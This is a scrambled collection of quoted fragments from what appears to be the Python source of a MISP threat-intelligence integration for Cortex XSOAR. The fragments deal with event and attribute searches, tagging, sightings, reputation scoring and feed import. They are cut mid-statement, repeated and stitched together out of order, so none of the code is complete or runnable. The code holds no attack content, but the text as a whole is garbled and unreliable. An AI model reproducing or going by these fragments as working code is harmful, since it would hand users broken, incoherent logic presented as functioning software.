(attribute", "Args: object_data_dict (dict): Event or attribute dict which includes tags", "== 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY,", "object we go over all the tags and search if", "= {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\":", "value: attribute_instance.value = value if comment: attribute_instance.comment = comment if", "7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\"", "successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error", "# Replacing keys and values from Demisto to Misp's keys", "demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids,", "\"\"\" Replacing keys from MISP's format to Demisto's (as appear", "outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to", "The parsed response from the MISP search attribute request found_tag", "return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events':", "= demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add", "BAD if the threat level id is in [1,2,3]. Otherwise,", "'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args", "found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value,", "given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for", "attribute. is_attribute (bool): if the given UUID is an attribute's", "required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids =", "{response}') except PyMISPError: raise DemistoException(\"Removing the required tag was failed.", "limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if", "{ 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 }", "be returned Returns: str: dictionary created for misp to perform", "outputs to context data (array of attributes). score: the indicator", "is in [1,2,3]. Otherwise, the threat level is 4 =", "stronger than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) &", "MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text',", "attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'),", "demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew", "\"\"\" Function will remove tag to given UUID of event", "'2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object", "return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes':", "MISP: \\nError message: {response}') else: human_readable = f'Event {event_id} has", "bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids,", "bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in found_related_events.values(): if", "This function searches for all the events that have the", "tag appears in both Malicious tag ids and Suspicious tag", "0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 }", "MISP create event\\nNew event with ID: {event_id} has been successfully", "g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template')", "indicator score found_tag: the tag (id) which made the indicator", "else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from", "(attribute tags). \"\"\" output = [] tag_set_ids = set() tags_list", "post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent):", "new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create", "= 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations'", "'Please try to use the Trust any certificate option.') if", "id that exists in both sets, it will be removed", "Otherwise, the threat level is 4 = Unknown. note: -", "for event in response_object] for i in range(0, len(events)): #", "2 sets which include tag ids. If there is an", "event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP", "hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash", "over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations", "feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\"", "Otherwise, the data is attribute's (attribute tags). \"\"\" output =", "data is attribute's (attribute tags). \"\"\" output = [] tag_set_ids", "outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability,", "event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags", "= get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list})", "'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\"", "tag that was configured to be malicious is stronger than", "copy.deepcopy(response) if include_correlations: # return full related attributes only if", "is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters')", "in returning related event when searching for an event build_galaxy_output(events[i])", "= re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not", "score: the indicator score found_tag: the tag (id) which made", "value (an IP address, email address, domain, url or file", "demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme})", "first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return", "words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for", "{ 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'),", "events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else:", "list Args: object_data_dict (dict): Event or attribute dict which includes", "url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args:", "given MISP event object This function can be called as", "need in returning related event when searching for an event", "== 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))", "is an id that exists in both sets, it will", "see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP", "attribute we remove the \"Related Attribute\" list and limits the", "is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in", "is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value =", "found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag", "args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj)", "in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'),", "'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif", "star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if", "= PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results", "attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search", "to add it to tag_set_ids. In any other case, we", "in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags']", "except ValueError as e: raise DemistoException(f'URL [{url}] is not a", "VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore", "analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info')", "suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability", "attributes that will be written to the context Returns: CommandResults", "'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp',", "and the URL are correct\" in error: return_error('Unable to connect", "generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==", "updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add", "demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try:", "change the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id", "response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable", "as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids =", "\"\"\" This function searches for all the events that have", "tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name,", "we go over all the tags and search if found_tag", "output format. please note: attributes are excluded from search-events output", "in Pymisp. Args: args: dictionary describes MISP object Returns: list:", "f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)}", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if", "for the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets", "proxies: dict): \"\"\"Gets an OSINT feed from url and publishing", "{limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing page {page}", "= demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen =", "not valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value):", "'50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] =", "is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return", "tag to given UUID of event or attribute. is_attribute (bool):", "[{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def", "any of the complex operators the original input will be", "dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for", "params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid", "event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the", "= PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context)", "if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.')", "attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution:", "in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]:", "event id and deletes it. \"\"\" event_id = demisto_args.get('event_id') response", "an event id and deletes it. \"\"\" event_id = demisto_args.get('event_id')", "added to that existing event. \"\"\" attributes_args = { 'id':", "tags ones as it is part of the event scope).", "suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def", "create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the given attribute", "of attributes along with their events objects. Note: When limits", "the score is Unknown so no events should be found.", "Gets a timestamp from MISP response (1546713469) and converts it", "is str), and verify all the tags are valid positive", "in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No", "ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment':", "event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has", "the tags are valid positive integers.\"\"\" for tag in tag_ids:", "readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found", "in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes)", "of in unnecessary data, we want to limit this list", "threat level id) about all the events that include the", "score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events", "no events should be found. Returns: list includes all the", "== 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command", "] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name':", "into readable response, for more information and examples please see", "id is in [1,2,3]. Otherwise, the threat level is 4", "over all the tags and search if found_tag is one", "list to include only the ID and Name fields. In", "args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags'])", "f'`attribute` parameter could not be decoded, may not a valid", "is optional. if 'demisto_query' does not contains any of the", "PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\"Adding", "searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp'))", "demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment':", "event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def", "if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag:", "Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a", "found_tag is one of it's tags. If so, the event", "= is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator", "the score of the indicator. For the context data outputs,", "attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'):", "distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if", "hashFormat will be used only in output hash_format = get_hash_type(value)", "attributes' values that match the search query when user set", "is an attribute's one. Otherwise it's event's. \"\"\" uuid =", "filtered response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors':", "internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value)", "to an attribute (True) or event (False). \"\"\" uuid =", "True, will not post results to Demisto demisto_args (dict): Demisto", "'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command ==", "demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:'", "'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting()", "'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High':", "attribute or event, depends on the called function\"\"\" if given_object.get('Galaxy'):", "is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events", "'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')]", "demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path)", "suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not", "sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error", "readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response", "{demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response],", "the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'),", "return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command", "{}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get(", "replace keys in Returns: Union[dict, list, str]: same object type", "not found in MISP. please check it once again\") new_event", "error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\'", "= false), and the tag is only related to an", "given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description':", "if not att_id: raise DemistoException('ID or UUID not specified') sighting_args", "tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no", "By the given object we go over all the tags", "domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text =", "# type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event):", "tag (i.e found_tag) which caused the indicator to be scored", "len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added", "Eventually, the outputs will be a list of attributes along", "from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response),", "when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] =", "outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool", "ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids,", "perform complex query or if no complex query found returns", "if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise", "if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template,", "if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event):", "positive integers.\"\"\" for tag in tag_ids: try: tag = int(tag)", "malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious", "'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name':", "'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis':", "limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events", "not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'],", "argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event in", "= sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids =", "are correct\" in error: return_error('Unable to connect to MISP, '", "return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid", "attrubite will be added to that existing event. \"\"\" attributes_args", "be scored as malicious or suspicious. Args: all_attributes (dict): The", "will be stayed only in the malicious one (as a", "attributes_limit): \"\"\" After getting all the attributes which match the", "'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in", "has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event),", "ValueError: raise DemistoException(f\"Tag id has to be a positive integer,", "CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value,", "range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if", "be decoded, may not a valid JSON\\nattribute: {attributes}', str(e)) def", "import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import", "demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or,", "getting all the attributes which match the required indicator value,", "{'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line", "limit: pagination_message += f\"Showing page {page} out others that may", "not found in MISP: \\nError message: {response}') else: human_readable =", "threat level id. In such case, the score will be", "ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if", "return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object':", "doesn't exist when this is an attribute level, default is", "return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if", "calculated by the tags ids (attribute tags and event tags).", "url is correct.') if \"Please make sure the API key", "converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args)", "not response: raise DemistoException( f\"Error: An event with the given", "responses from error section Returns: List[Dict[str, any]]: filtered response \"\"\"", "returns set of the found tag ids. Some tags have", "(True) or event (False). \"\"\" uuid = demisto_args.get('uuid') tag =", "command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif", "== 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args))", "\"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category',", "add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id =", "positive integer, please change the given: '{tag}' id.\") except ValueError:", "parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list =", "[tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy',", "{value} was added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable,", "original input will be returned Returns: str: dictionary created for", "= params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability =", "contains any of the complex operators the original input will", "'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score',", "distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value", "DemistoException(\"limit should be zero or a positive number\") def attribute_response_to_markdown_table(response:", "Args: value (str): The indicator value (an IP address, email", "for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text:", "return event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with", "event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by", "For the context data outputs, for every attribute we remove", "= \"\", \"\" for event in events_to_human_readable: # removing those", "event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for", "'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id,", "malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids,", "def warn(*args): \"\"\" Do nothing with warnings \"\"\" pass #", "= list() # type: List[Dict[str, int]] for index, uri in", "demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj)", "else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published',", ") # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag", "will add tag to given UUID of event or attribute.", "given IP address: {value} is not valid\") if dbot_type ==", "events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent']", "{'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'},", "command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except", "the given id: {event_id} was not found in MISP. please", "'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID',", "is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has", "MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value =", "value for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20),", "the attributes that found (after limit the attributes amount to", "scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events):", "except PyMISPError: raise DemistoException(\"Removing the required tag was failed. Please", "event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'):", "attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\",", "List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response =", "don't have any tags configured as suspicious nor malicious will", "demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError:", "args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else", "new MISP event object and set the event's details. \"\"\"", "analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS", "False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def", "a list ot tag ids (each one is str), and", "create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution", "to use the Trust any certificate option.') if \"NewConnectionError\" in", "related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object", "= get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and", "id.\") except ValueError: raise DemistoException(f\"Tag id has to be a", "suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit", "Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if", "threat level is 4 = Unknown. note: - In case", "Returns: Union[dict, list, str]: same object type that got in", "was failed. Please make sure the UUID and tag exist.\")", "proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL':", "} MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2", "generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==", "'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\"", "last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid =", "return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg:", "all the events that include the indicator Please see an", "'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address:", "attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp'))", "'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain':", "Demisto args new_event (MISPEvent): When this function was called from", "\\nError message: {response}') else: human_readable = f'Event {event_id} has been", "# guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def", "reliability, attributes_limit): \"\"\" This function searches for the given attribute", "'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ]", "by the tags ids (attribute tags and event tags). Args:", "if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') #", "would like to add to tag_set_ids all the tags (event", "'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format:", "human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute", "= limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) 